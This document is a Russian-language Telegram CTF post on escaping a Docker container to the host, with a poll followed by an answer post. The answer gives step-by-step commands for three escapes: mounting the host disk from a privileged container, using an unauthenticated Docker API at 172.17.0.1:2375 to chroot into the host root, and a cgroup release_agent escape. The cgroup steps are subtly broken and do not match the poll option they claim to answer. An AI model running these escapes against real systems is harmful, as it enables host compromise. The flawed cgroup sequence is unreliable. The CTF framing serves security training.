Сценарий: вы получили RCE в веб-приложении, которое работает в Docker-контейнере. У вас есть shell от пользователя
www-data внутри контейнера.Цель — выбраться на хост-систему и прочитать
/host/root/flag.txt.🔥 — Mount host disk: смонтировать
/dev/sda1 и читать файлы хоста напрямую👾 — Docker API abuse: подключиться к
tcp://172.17.0.1:2375 и запустить новый контейнер с volume хоста❤️ — Namespace escape: через
/proc/1/root попытаться получить доступ к init-процессу хоста#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👾12❤5🔥4
Правильный ответ: ВСЕ ТРИ работают, но с нюансами!
Почему работает:
Флаг --privileged отключает изоляцию устройств. Контейнер видит все диски хоста.
Эксплойт:
Шаг 1: Смотрим доступные диски
fdisk -l
Видим /dev/sda1 (корень хоста)
Шаг 2: Монтируем
mkdir /mnt/host
mount /dev/sda1 /mnt/host
Шаг 3: Профит!
cat /mnt/host/root/flag.txt
Почему работает:
Если DOCKER_HOST открыт без TLS, можем создавать контейнеры от имени хоста.
Эксплойт:
Проверяем доступ к API
curl http://172.17.0.1:2375/version
Запускаем новый контейнер с volume хоста
docker -H tcp://172.17.0.1:2375 run -v /:/host \
-it alpine chroot /host sh
Теперь мы root на хосте!
cat /root/flag.txt
Почему работает:
Privileged-контейнер может писать в cgroup notify_on_release и выполнить код на хосте.
Эксплойт:
Создаём cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
cd /tmp/cgrp
Включаем notify_on_release
echo 1 > cgroup.procs
echo 1 > notify_on_release
Пишем скрипт, который выполнится на хосте
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > release_agent
Создаём команду
cat /root/flag.txt > /output
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4👍3🥰3